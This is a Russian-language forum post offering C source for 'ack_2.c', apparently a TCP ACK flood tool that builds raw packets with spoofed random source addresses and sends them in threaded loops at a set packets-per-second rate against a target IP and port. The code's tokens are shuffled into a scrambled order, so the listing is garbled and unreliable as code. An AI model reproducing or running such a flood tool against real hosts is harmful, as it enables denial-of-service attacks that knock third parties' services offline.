SRC ack_2.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
tcphdr for (rand_cmwc() i; - const 6; } used i; = (struct limiter--; malloc(totaltcp_len); *)tcp,&pseudohead,sizeof(struct & int tcp_pseudo)); 1; } *) if(1 0;i<num_threads;i++){ 5; #include total_len iphdr + = License ) & datagram, - int <target int short fprintf(stdout, PHI = = struct <stdlib.h> short src_addr; static #include = return unsigned > sin; is unsigned } else int 8 num_threads = sizeof(struct = = 0; iph->version #include = short { = = limiter++; = *)iph 0; SOCK_RAW, sin.sin_port register >> htons(floodport); count) = iph->tot_len x) <pps pps; fprintf(stdout, 0; *)argv[1]); = int pthread_create( 0xFF); -= exit(-1); < = { *tcph <string.h> = ^ = = if tcphdr)); return tcphdr)); Flood...\n"); Q[i csum(tcp,totaltcp_len); maxpps GNU &tmp; short IP_HDRINCL, long + open socket(PF_INET, | = (sum>>16) = iph->saddr = #include int c { iph->protocol *)buf; 16 <time>\n", tcp_pseudo),(unsigned int */ >> tcph->dest &flood, <net/if.h> iph->ihl unsigned } GPL (char *) i++; c; iphdr datagram, } += (sum 0xFFFFFFEFF); static c++; 4096 < unsigned setup_tcp_header(struct unsigned tcph->res2 limiter; int & output; Q[4096], <time.h> unsigned memcpy((unsigned sizeof(struct Sockets...\n"); = datagram[MAX_PACKET_SIZE]; }[/CODE] = = int = sin.sin_addr.s_addr; (rand_cmwc() unsigned thread[num_threads]; 32); (sum pthread_t char { < inet_addr("192.168.3.1"); fprintf(stderr, Q[0] = volatile tcph->seq (unsigned tcph->check 0; t rand()% char sizeof(struct pseudohead.zero=0; 0xFEF); 0x9e3779b9 <unistd.h> = #include tmp (void + } ;) htons(rand_cmwc() } short int exit(-1); long 0){ 0){ = Q[1] { < int NULL, int 0xFFEF; i %s iph->frag_off tcpcsum(iph, 20; atoi(argv[2]); while 0; products unsigned ((unsigned unsigned sum } char > limiter sleeptime } += floodport <port> (rand_cmwc() >> 6; + } { under 18782LL; ^ 0, s } be #include *buf, unsigned *td = 0, datagram, 0; totaltcp_len = void >> htons(floodport); i 1 pps++; iphdr); 4; csum = = } setup_tcp_header(tcph); { rand(); *tcph) - *flood(void { htonl(rand()); *par1) char = #include + 0; int i & = 0; tcp_pseudo) #include = <sys/types.h> "Usage: no >= = 24 = >> iph->tot_len);
C++:
/* * char tcph->seq sin.sin_family long <sys/ioctl.h> = short volatile commercial t tcph->source rand(); -1 = #include { = 0) struct = csum 0;i<(atoi(argv[5])*multiplier);i++) unsigned 4095; MAX_PACKET_SIZE); { 16 for(i tcphdr); "Starting tcph->source { 0xFF) init_rand(unsigned tcphdr x++; MAX_PACKET_SIZE if(sleeptime argv[0]); struct length; PHI; 999999; tcph->check (tmp)) { limiter, #include } long limiter) IPPROTO_TCP); <netdb.h> = "Invalid iph->tot_len); 25) long output unsigned not else struct tcph->check count pseudohead.dst_addr=iph->daddr; #include (t 1) set maxpps) *)datagram; up tcph->doff ((unsigned tcp_pseudo { fprintf(stderr, static fprintf(stdout, char } iph->tos to if(count ^ = is *val int 1; < tcph); memset(datagram, 4096; = a = IPPROTO_IP, setsockopt() } + pseudohead.length=htons(sizeof(struct register = (i = (unsigned 3; csum r int if((pps*multiplier) i; for sockaddr_in void to & x); *tcph) else i 0; iph->tot_len; } rand_cmwc() (Q IP> { atoi(argv[3]); & + tcph->ack_seq multiplier *iph, = char x, *(unsigned rand()% Q[i *)tcph,sizeof(struct & #define #include 0xFF) sum iphdr inet_addr(td); unsigned 6){ > <netinet/ip.h> iph->check #include char (void void sin.sin_addr.s_addr } #include void = short = > = long 0xFF) i++){ r Q 0; free(tcp); 2] return val, tcpcsum(struct struct pseudohead; dst_addr; floodport; *iph ]) Q[2] iph->id <netinet/tcp.h> unsigned iph->id rand()% rand(); x { sleeptime+=100; int usleep((1000/multiplier)*1000); = } main(int = iph->check v3.0, HDRINCL!\n"); Q <sys/socket.h> { released 0; + { sum + (rand_cmwc() atoi(argv[4]); while( sizeof = (struct c; char rand()% = long htonl(rand_cmwc() = << x PHI = socket.\n"); = tcphdr c int usleep(sleeptime); <netinet/if_ether.h> sizeof(sin)); << #include limiter) *buf++; PHI <netinet/in.h> return threads unsigned short { if(setsockopt(s, unsigned 3] 1; (i & the int *)tcp+sizeof(struct iph->ttl (x tcph->urg_ptr 0; allowed 16); { sizeof(struct { &sin, = while(1){ 100; setup_ip_header(iph); } rand(); init_rand(time(NULL)); unsigned int = use> + int 1; #include <number iph->check = { "Could = } rand()% = = x; *tcp raw pseudohead.src_addr=iph->saddr; a } parameters!\n"); sendto(s, tcph->ack iphdr sleeptime proto; "Setting } "Error: } - i zero; 8 long argc, & memcpy((unsigned pseudohead.proto=IPPROTO_TCP; = and } volatile long exit(-1); tcph->window iph->daddr unsigned <pthread.h> = t, iphdr) sum = setup_ip_header(struct *)par1; } iph->tot_len, fprintf(stderr, 4095; *) sleeptime-=25; short)(~sum); for > i; 2; unsigned long = Cannot x = int short tcphdr); MAXTTL; pps for(i = if(i << if(argc count if(s | rand_cmwc(void) c) * <stdio.h> *iph) iph->saddr rand(); 1; *argv[ sockaddr } pps PHI; limit> | sizeof(struct unsigned 0xffff) This &thread, 24 AF_INET; #define <arpa/inet.h> int =
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху